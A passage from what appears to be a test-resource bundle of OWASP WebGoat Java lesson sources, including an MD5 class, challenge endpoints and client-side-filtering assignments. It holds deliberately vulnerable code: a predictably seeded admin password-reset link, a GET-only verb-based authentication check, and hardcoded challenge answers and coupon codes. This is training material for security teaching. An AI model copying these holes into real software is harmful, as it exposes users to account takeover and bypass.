MD5State workingState = new MD5State();\n\n  /**\n   * Cached copy of the final MD5 hash sum. This is created when the hash is requested and it is\n   * invalidated when the hash is updated.\n   *\n   * @since ostermillerutils 1.00.00\n   */\n  private MD5State finalState = new MD5State();\n\n  /**\n   * Temporary buffer cached here for performance reasons.\n   *\n   * @since ostermillerutils 1.00.00\n   */\n  private int[] decodeBuffer = new int[16];\n\n  /**\n   * 64 bytes of padding that can be added if the length is not divisible by 64.\n   *\n   * @since ostermillerutils 1.00.00\n   */\n  private static final byte padding[] = {\n    (byte) 0x80,\n    0,\n    0,\n    0,\n    0,\n    0,\n    0,\n    0,\n    0,\n    0,\n    0,\n    0,\n    0,\n    0,\n    0,\n    0,\n    0,\n    0,\n    0,\n    0,\n    0,\n    0,\n    0,\n    0,\n    0,\n    0,\n    0,\n    0,\n    0,\n    0,\n    0,\n    0,\n    0,\n    0,\n    0,\n    0,\n    0,\n    0,\n    0,\n    0,\n    0,\n    0,\n    0,\n    0,\n    0,\n    0,\n    0,\n    0,\n    0,\n    0,\n    0,\n    0,\n    0,\n    0,\n    0,\n    0,\n    0,\n    0,\n    0,\n    0,\n    0,\n    0,\n    0,\n    0,\n  };\n\n  /**\n   * Contains internal state of the MD5 class. Passes MD5 test suite as defined in RFC1321.\n   *\n   * @since ostermillerutils 1.00.00\n   */\n  private class MD5State {\n\n    /**\n     * True if this state is valid.\n     *\n     * @since ostermillerutils 1.00.00\n     */\n    private boolean valid = true;\n\n    /**\n     * Reset to initial state.\n     *\n     * @since ostermillerutils 1.00.00\n     */\n    private void reset() {\n      state[0] = 0x67452301;\n      state[1] = 0xefcdab89;\n      state[2] = 0x98badcfe;\n      state[3] = 0x10325476;\n\n      bitCount = 0;\n    }\n\n    /**\n     * 128-byte state\n     *\n     * @since ostermillerutils 1.00.00\n     */\n    private int state[] = new int[4];\n\n    /**\n     * 64-bit count of the number of bits that have been hashed.\n     *\n     * @since ostermillerutils 1.00.00\n     */\n    private long bitCount;\n\n    /**\n     * 64-byte buffer (512 bits) for storing to-be-hashed characters\n     *\n     * @since ostermillerutils 1.00.00\n     */\n    private byte buffer[] = new byte[64];\n\n    private MD5State() {\n      reset();\n    }\n\n    /**\n     * Set this state to be exactly the same as some other.\n     *\n     * @param from state to copy from.\n     * @since ostermillerutils 1.00.00\n     */\n    private void copy(MD5State from) {\n      System.arraycopy(from.buffer, 0, this.buffer, 0, this.buffer.length);\n      System.arraycopy(from.state, 0, this.state, 0, this.state.length);\n      this.valid = from.valid;\n      this.bitCount = from.bitCount;\n    }\n  }\n\n  /**\n   * Turns array of bytes into string representing each byte as a two digit unsigned hex number.\n   *\n   * @param hash Array of bytes to convert to hex-string\n   * @return Generated hex string\n   * @since ostermillerutils 1.00.00\n   */\n  private static String toHex(byte hash[]) {\n    StringBuilder buf = new StringBuilder(hash.length * 2);\n    for (byte element : hash) {\n      int intVal = element & 0xff;\n      if (intVal < 0x10) {\n        // append a zero before a one digit hex\n        // number to make it two digits.\n        buf.append(\"0\");\n      }\n      buf.append(Integer.toHexString(intVal));\n    }\n    return buf.toString();\n  }\n\n  private static int FF(int a, int b, int c, int d, int x, int s, int ac) {\n    a += ((b & c) | (~b & d));\n    a += x;\n    a += ac;\n    // return rotateLeft(a, s) + b;\n    a = (a << s) | (a >>> (32 - s));\n    return a + b;\n  }\n\n  private static int GG(int a, int b, int c, int d, int x, int s, int ac) {\n    a += ((b & d) | (c & ~d));\n    a += x;\n    a += ac;\n    // return rotateLeft(a, s) + b;\n    a = (a << s) | (a >>> (32 - s));\n    return a + b;\n  }\n\n  private static int HH(int a, int b, int c, int d, int x, int s, int ac) {\n    a += (b ^ c ^ d);\n    a += x;\n    a += ac;\n    // return rotateLeft(a, s) + b;\n    a = (a << s) | (a >>> (32 - s));\n    return a + b;\n  }\n\n  private static int II(int a, int b, int c, int d, int x, int s, int ac) {\n    a += (c ^ (b | ~d));\n    a += x;\n    a += ac;\n    // return rotateLeft(a, s) + b;\n    a = (a << s) | (a >>> (32 - s));\n    return a + b;\n  }\n\n  private static byte[] encode(long l) {\n    byte[] out = new byte[8];\n    out[0] = (byte) (l & 0xff);\n    out[1] = (byte) ((l >>> 8) & 0xff);\n    out[2] = (byte) ((l >>> 16) & 0xff);\n    out[3] = (byte) ((l >>> 24) & 0xff);\n    out[4] = (byte) ((l >>> 32) & 0xff);\n    out[5] = (byte) ((l >>> 40) & 0xff);\n    out[6] = (byte) ((l >>> 48) & 0xff);\n    out[7] = (byte) ((l >>> 56) & 0xff);\n    return out;\n  }\n\n  private static byte[] encode(int input[], int len) {\n    byte[] out = new byte[len];\n    int i, j;\n    for (i = j = 0; j < len; i++, j += 4) {\n      out[j] = (byte) (input[i] & 0xff);\n      out[j + 1] = (byte) ((input[i] >>> 8) & 0xff);\n      out[j + 2] = (byte) ((input[i] >>> 16) & 0xff);\n      out[j + 3] = (byte) ((input[i] >>> 24) & 0xff);\n    }\n    return out;\n  }\n\n  private int[] decode(byte buffer[], int len, int offset) {\n    int i, j;\n    for (i = j = 0; j < len; i++, j += 4) {\n      decodeBuffer[i] =\n          ((buffer[j + offset] & 0xff))\n              | (((buffer[j + 1 + offset] & 0xff)) << 8)\n              | (((buffer[j + 2 + offset] & 0xff)) << 16)\n              | (((buffer[j + 3 + offset] & 0xff)) << 24);\n    }\n    return decodeBuffer;\n  }\n\n  private static void transform(MD5State state, int[] x) {\n    int a = state.state[0];\n    int b = state.state[1];\n    int c = state.state[2];\n    int d = state.state[3];\n\n    /* Round 1 */\n    a = FF(a, b, c, d, x[0], 7, 0xd76aa478); /* 1 */\n    d = FF(d, a, b, c, x[1], 12, 0xe8c7b756); /* 2 */\n    c = FF(c, d, a, b, x[2], 17, 0x242070db); /* 3 */\n    b = FF(b, c, d, a, x[3], 22, 0xc1bdceee); /* 4 */\n    a = FF(a, b, c, d, x[4], 7, 0xf57c0faf); /* 5 */\n    d = FF(d, a, b, c, x[5], 12, 0x4787c62a); /* 6 */\n    c = FF(c, d, a, b, x[6], 17, 0xa8304613); /* 7 */\n    b = FF(b, c, d, a, x[7], 22, 0xfd469501); /* 8 */\n    a = FF(a, b, c, d, x[8], 7, 0x698098d8); /* 9 */\n    d = FF(d, a, b, c, x[9], 12, 0x8b44f7af); /* 10 */\n    c = FF(c, d, a, b, x[10], 17, 0xffff5bb1); /* 11 */\n    b = FF(b, c, d, a, x[11], 22, 0x895cd7be); /* 12 */\n    a = FF(a, b, c, d, x[12], 7, 0x6b901122); /* 13 */\n    d = FF(d, a, b, c, x[13], 12, 0xfd987193); /* 14 */\n    c = FF(c, d, a, b, x[14], 17, 0xa679438e); /* 15 */\n    b = FF(b, c, d, a, x[15], 22, 0x49b40821); /* 16 */\n\n    /* Round 2 */\n    a = GG(a, b, c, d, x[1], 5, 0xf61e2562); /* 17 */\n    d = GG(d, a, b, c, x[6], 9, 0xc040b340); /* 18 */\n    c = GG(c, d, a, b, x[11], 14, 0x265e5a51); /* 19 */\n    b = GG(b, c, d, a, x[0], 20, 0xe9b6c7aa); /* 20 */\n    a = GG(a, b, c, d, x[5], 5, 0xd62f105d); /* 21 */\n    d = GG(d, a, b, c, x[10], 9, 0x02441453); /* 22 */\n    c = GG(c, d, a, b, x[15], 14, 0xd8a1e681); /* 23 */\n    b = GG(b, c, d, a, x[4], 20, 0xe7d3fbc8); /* 24 */\n    a = GG(a, b, c, d, x[9], 5, 0x21e1cde6); /* 25 */\n    d = GG(d, a, b, c, x[14], 9, 0xc33707d6); /* 26 */\n    c = GG(c, d, a, b, x[3], 14, 0xf4d50d87); /* 27 */\n    b = GG(b, c, d, a, x[8], 20, 0x455a14ed); /* 28 */\n    a = GG(a, b, c, d, x[13], 5, 0xa9e3e905); /* 29 */\n    d = GG(d, a, b, c, x[2], 9, 0xfcefa3f8); /* 30 */\n    c = GG(c, d, a, b, x[7], 14, 0x676f02d9); /* 31 */\n    b = GG(b, c, d, a, x[12], 20, 0x8d2a4c8a); /* 32 */\n\n    /* Round 3 */\n    a = HH(a, b, c, d, x[5], 4, 0xfffa3942); /* 33 */\n    d = HH(d, a, b, c, x[8], 11, 0x8771f681); /* 34 */\n    c = HH(c, d, a, b, x[11], 16, 0x6d9d6122); /* 35 */\n    b = HH(b, c, d, a, x[14], 23, 0xfde5380c); /* 36 */\n    a = HH(a, b, c, d, x[1], 4, 0xa4beea44); /* 37 */\n    d = HH(d, a, b, c, x[4], 11, 0x4bdecfa9); /* 38 */\n    c = HH(c, d, a, b, x[7], 16, 0xf6bb4b60); /* 39 */\n    b = HH(b, c, d, a, x[10], 23, 0xbebfbc70); /* 40 */\n    a = HH(a, b, c, d, x[13], 4, 0x289b7ec6); /* 41 */\n    d = HH(d, a, b, c, x[0], 11, 0xeaa127fa); /* 42 */\n    c = HH(c, d, a, b, x[3], 16, 0xd4ef3085); /* 43 */\n    b = HH(b, c, d, a, x[6], 23, 0x04881d05); /* 44 */\n    a = HH(a, b, c, d, x[9], 4, 0xd9d4d039); /* 45 */\n    d = HH(d, a, b, c, x[12], 11, 0xe6db99e5); /* 46 */\n    c = HH(c, d, a, b, x[15], 16, 0x1fa27cf8); /* 47 */\n    b = HH(b, c, d, a, x[2], 23, 0xc4ac5665); /* 48 */\n\n    /* Round 4 */\n    a = II(a, b, c, d, x[0], 6, 0xf4292244); /* 49 */\n    d = II(d, a, b, c, x[7], 10, 0x432aff97); /* 50 */\n    c = II(c, d, a, b, x[14], 15, 0xab9423a7); /* 51 */\n    b = II(b, c, d, a, x[5], 21, 0xfc93a039); /* 52 */\n    a = II(a, b, c, d, x[12], 6, 0x655b59c3); /* 53 */\n    d = II(d, a, b, c, x[3], 10, 0x8f0ccc92); /* 54 */\n    c = II(c, d, a, b, x[10], 15, 0xffeff47d); /* 55 */\n    b = II(b, c, d, a, x[1], 21, 0x85845dd1); /* 56 */\n    a = II(a, b, c, d, x[8], 6, 0x6fa87e4f); /* 57 */\n    d = II(d, a, b, c, x[15], 10, 0xfe2ce6e0); /* 58 */\n    c = II(c, d, a, b, x[6], 15, 0xa3014314); /* 59 */\n    b = II(b, c, d, a, x[13], 21, 0x4e0811a1); /* 60 */\n    a = II(a, b, c, d, x[4], 6, 0xf7537e82); /* 61 */\n    d = II(d, a, b, c, x[11], 10, 0xbd3af235); /* 62 */\n    c = II(c, d, a, b, x[2], 15, 0x2ad7d2bb); /* 63 */\n    b = II(b, c, d, a, x[9], 21, 0xeb86d391); /* 64 */\n\n    state.state[0] += a;\n    state.state[1] += b;\n    state.state[2] += c;\n    state.state[3] += d;\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/challenges/challenge7/PasswordResetLink.java",
    "content": "package org.owasp.webgoat.lessons.challenges.challenge7;\n\nimport java.util.Random;\n\n/**\n * WARNING: DO NOT CHANGE FILE WITHOUT CHANGING .git contents\n *\n * @author nbaars\n * @since 8/17/17.\n */\npublic class PasswordResetLink {\n\n  public String createPasswordReset(String username, String key) {\n    Random random = new Random();\n    if (username.equalsIgnoreCase(\"admin\")) {\n      // Admin has a fix reset link\n      random.setSeed(key.length());\n    }\n    return scramble(random, scramble(random, scramble(random, MD5.getHashString(username))));\n  }\n\n  public static String scramble(Random random, String inputString) {\n    char[] a = inputString.toCharArray();\n    for (int i = 0; i < a.length; i++) {\n      int j = random.nextInt(a.length);\n      char temp = a[i];\n      a[i] = a[j];\n      a[j] = temp;\n    }\n    return new String(a);\n  }\n\n  public static void main(String[] args) {\n    if (args == null || args.length != 2) {\n      System.out.println(\"Need a username and key\");\n      System.exit(1);\n    }\n    String username = args[0];\n    String key = args[1];\n    System.out.println(\"Generation password reset link for \" + username);\n    System.out.println(\n        \"Created password reset link: \"\n            + new PasswordResetLink().createPasswordReset(username, key));\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/challenges/challenge8/Assignment8.java",
    "content": "package org.owasp.webgoat.lessons.challenges.challenge8;\n\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.stream.Collectors;\nimport javax.servlet.http.HttpServletRequest;\nimport lombok.extern.slf4j.Slf4j;\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.owasp.webgoat.lessons.challenges.Flag;\nimport org.springframework.http.MediaType;\nimport org.springframework.http.ResponseEntity;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.PathVariable;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n/**\n * @author nbaars\n * @since 4/8/17.\n */\n@RestController\n@Slf4j\npublic class Assignment8 extends AssignmentEndpoint {\n\n  private static final Map<Integer, Integer> votes = new HashMap<>();\n\n  static {\n    votes.put(1, 400);\n    votes.put(2, 120);\n    votes.put(3, 140);\n    votes.put(4, 150);\n    votes.put(5, 300);\n  }\n\n  @GetMapping(value = \"/challenge/8/vote/{stars}\", produces = MediaType.APPLICATION_JSON_VALUE)\n  @ResponseBody\n  public ResponseEntity<?> vote(\n      @PathVariable(value = \"stars\") int nrOfStars, HttpServletRequest request) {\n    // Simple implementation of VERB Based Authentication\n    String msg = \"\";\n    if (request.getMethod().equals(\"GET\")) {\n      var json =\n          Map.of(\"error\", true, \"message\", \"Sorry but you need to login first in order to vote\");\n      return ResponseEntity.status(200).body(json);\n    }\n    Integer allVotesForStar = votes.getOrDefault(nrOfStars, 0);\n    votes.put(nrOfStars, allVotesForStar + 1);\n    return ResponseEntity.ok()\n        .header(\"X-Flag\", \"Thanks for voting, your flag is: \" + Flag.FLAGS.get(8))\n        .build();\n  }\n\n  @GetMapping(\"/challenge/8/votes/\")\n  public ResponseEntity<?> getVotes() {\n    return ResponseEntity.ok(\n        votes.entrySet().stream()\n            .collect(Collectors.toMap(e -> \"\" + e.getKey(), e -> e.getValue())));\n  }\n\n  @GetMapping(\"/challenge/8/votes/average\")\n  public ResponseEntity<Map<String, Integer>> average() {\n    int totalNumberOfVotes = votes.values().stream().mapToInt(i -> i.intValue()).sum();\n    int categories =\n        votes.entrySet().stream()\n            .mapToInt(e -> e.getKey() * e.getValue())\n            .reduce(0, (a, b) -> a + b);\n    var json = Map.of(\"average\", (int) Math.ceil((double) categories / totalNumberOfVotes));\n    return ResponseEntity.ok(json);\n  }\n\n  @GetMapping(\"/challenge/8/notUsed\")\n  public AttackResult notUsed() {\n    throw new IllegalStateException(\"Should never be called, challenge specific method\");\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/challenges/challenge8/Challenge8.java",
    "content": "package org.owasp.webgoat.lessons.challenges.challenge8;\n\nimport org.owasp.webgoat.container.lessons.Category;\nimport org.owasp.webgoat.container.lessons.Lesson;\nimport org.springframework.stereotype.Component;\n\n/**\n * @author nbaars\n * @since 3/21/17.\n */\n@Component\npublic class Challenge8 extends Lesson {\n\n  @Override\n  public Category getDefaultCategory() {\n    return Category.CHALLENGE;\n  }\n\n  @Override\n  public String getTitle() {\n    return \"challenge8.title\";\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/chromedevtools/ChromeDevTools.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.chromedevtools;\n\nimport org.owasp.webgoat.container.lessons.Category;\nimport org.owasp.webgoat.container.lessons.Lesson;\nimport org.springframework.stereotype.Component;\n\n/**\n * @author TMelzer\n * @since 30.11.18\n */\n@Component\npublic class ChromeDevTools extends Lesson {\n\n  @Override\n  public Category getDefaultCategory() {\n    return Category.GENERAL;\n  }\n\n  @Override\n  public String getTitle() {\n    return \"3.chrome-dev-tools.title\"; // 3rd lesson in General\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/chromedevtools/NetworkDummy.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.chromedevtools;\n\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.owasp.webgoat.container.session.UserSessionData;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n/**\n * This is just a class used to make the the HTTP request.\n *\n * @author TMelzer\n * @since 30.11.18\n */\n@RestController\npublic class NetworkDummy extends AssignmentEndpoint {\n\n  @PostMapping(\"/ChromeDevTools/dummy\")\n  @ResponseBody\n  public AttackResult completed(@RequestParam String successMessage) {\n    UserSessionData userSessionData = getUserSessionData();\n    String answer = (String) userSessionData.getValue(\"randValue\");\n\n    if (successMessage != null && successMessage.equals(answer)) {\n      return success(this).feedback(\"xss-dom-message-success\").build();\n    } else {\n      return failed(this).feedback(\"xss-dom-message-failure\").build();\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/chromedevtools/NetworkLesson.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.chromedevtools;\n\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AssignmentHints;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.springframework.http.ResponseEntity;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n/**\n * Assignment where the user has to look through an HTTP Request using the Developer Tools and find\n * a specific number.\n *\n * @author TMelzer\n * @since 30.11.18\n */\n@RestController\n@AssignmentHints({\"networkHint1\", \"networkHint2\"})\npublic class NetworkLesson extends AssignmentEndpoint {\n\n  @PostMapping(\n      value = \"/ChromeDevTools/network\",\n      params = {\"network_num\", \"number\"})\n  @ResponseBody\n  public AttackResult completed(@RequestParam String network_num, @RequestParam String number) {\n    if (network_num.equals(number)) {\n      return success(this).feedback(\"network.success\").output(\"\").build();\n    } else {\n      return failed(this).feedback(\"network.failed\").build();\n    }\n  }\n\n  @PostMapping(path = \"/ChromeDevTools/network\", params = \"networkNum\")\n  @ResponseBody\n  public ResponseEntity<?> ok(@RequestParam String networkNum) {\n    return ResponseEntity.ok().build();\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/cia/CIA.java",
    "content": "package org.owasp.webgoat.lessons.cia;\n\nimport org.owasp.webgoat.container.lessons.Category;\nimport org.owasp.webgoat.container.lessons.Lesson;\nimport org.springframework.stereotype.Component;\n\n/**\n * @author BenediktStuhrmann\n * @since 11/2/18.\n */\n@Component\npublic class CIA extends Lesson {\n\n  @Override\n  public Category getDefaultCategory() {\n    return Category.GENERAL;\n  }\n\n  @Override\n  public String getTitle() {\n    return \"4.cia.title\"; // 4th lesson in general\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/cia/CIAQuiz.java",
    "content": "package org.owasp.webgoat.lessons.cia;\n\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n@RestController\npublic class CIAQuiz extends AssignmentEndpoint {\n\n  String[] solutions = {\"Solution 3\", \"Solution 1\", \"Solution 4\", \"Solution 2\"};\n  boolean[] guesses = new boolean[solutions.length];\n\n  @PostMapping(\"/cia/quiz\")\n  @ResponseBody\n  public AttackResult completed(\n      @RequestParam String[] question_0_solution,\n      @RequestParam String[] question_1_solution,\n      @RequestParam String[] question_2_solution,\n      @RequestParam String[] question_3_solution) {\n    int correctAnswers = 0;\n\n    String[] givenAnswers = {\n      question_0_solution[0], question_1_solution[0], question_2_solution[0], question_3_solution[0]\n    };\n\n    for (int i = 0; i < solutions.length; i++) {\n      if (givenAnswers[i].contains(solutions[i])) {\n        // answer correct\n        correctAnswers++;\n        guesses[i] = true;\n      } else {\n        // answer incorrect\n        guesses[i] = false;\n      }\n    }\n\n    if (correctAnswers == solutions.length) {\n      return success(this).build();\n    } else {\n      return failed(this).build();\n    }\n  }\n\n  @GetMapping(\"/cia/quiz\")\n  @ResponseBody\n  public boolean[] getResults() {\n    return this.guesses;\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/clientsidefiltering/ClientSideFiltering.java",
    "content": "package org.owasp.webgoat.lessons.clientsidefiltering;\n\nimport org.owasp.webgoat.container.lessons.Category;\nimport org.owasp.webgoat.container.lessons.Lesson;\nimport org.springframework.stereotype.Component;\n\n/**\n * ************************************************************************************************\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details,\n * please see http://www.owasp.org/\n *\n * <p>Copyright (c) 2002 - 2014 Bruce Mayhew\n *\n * <p>This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;\n * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * <p>You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * <p>Getting Source ==============\n *\n * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository\n * for free software projects.\n *\n * <p>\n *\n * @author WebGoat\n * @version $Id: $Id\n * @since October 12, 2016\n */\n@Component\npublic class ClientSideFiltering extends Lesson {\n\n  @Override\n  public Category getDefaultCategory() {\n    return Category.CLIENT_SIDE;\n  }\n\n  @Override\n  public String getTitle() {\n    return \"client.side.filtering.title\";\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/clientsidefiltering/ClientSideFilteringAssignment.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.clientsidefiltering;\n\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AssignmentHints;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n@RestController\n@AssignmentHints({\n  \"ClientSideFilteringHint1\",\n  \"ClientSideFilteringHint2\",\n  \"ClientSideFilteringHint3\",\n  \"ClientSideFilteringHint4\"\n})\npublic class ClientSideFilteringAssignment extends AssignmentEndpoint {\n\n  @PostMapping(\"/clientSideFiltering/attack1\")\n  @ResponseBody\n  public AttackResult completed(@RequestParam String answer) {\n    return \"450000\".equals(answer)\n        ? success(this).feedback(\"assignment.solved\").build()\n        : failed(this).feedback(\"ClientSideFiltering.incorrect\").build();\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/clientsidefiltering/ClientSideFilteringFreeAssignment.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.clientsidefiltering;\n\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AssignmentHints;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n/**\n * @author nbaars\n * @since 4/6/17.\n */\n@RestController\n@AssignmentHints({\n  \"client.side.filtering.free.hint1\",\n  \"client.side.filtering.free.hint2\",\n  \"client.side.filtering.free.hint3\"\n})\npublic class ClientSideFilteringFreeAssignment extends AssignmentEndpoint {\n\n  public static final String SUPER_COUPON_CODE = \"get_it_for_free\";\n\n  @PostMapping(\"/clientSideFiltering/getItForFree\")\n  @ResponseBody\n  public AttackResult completed(@RequestParam String checkoutCode) {\n    if (SUPER_COUPON_CODE.equals(checkoutCode)) {\n      return success(this).build();\n    }\n    return failed(this).build();\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/clientsidefiltering/Salaries.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.clientsidefiltering;\n\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport 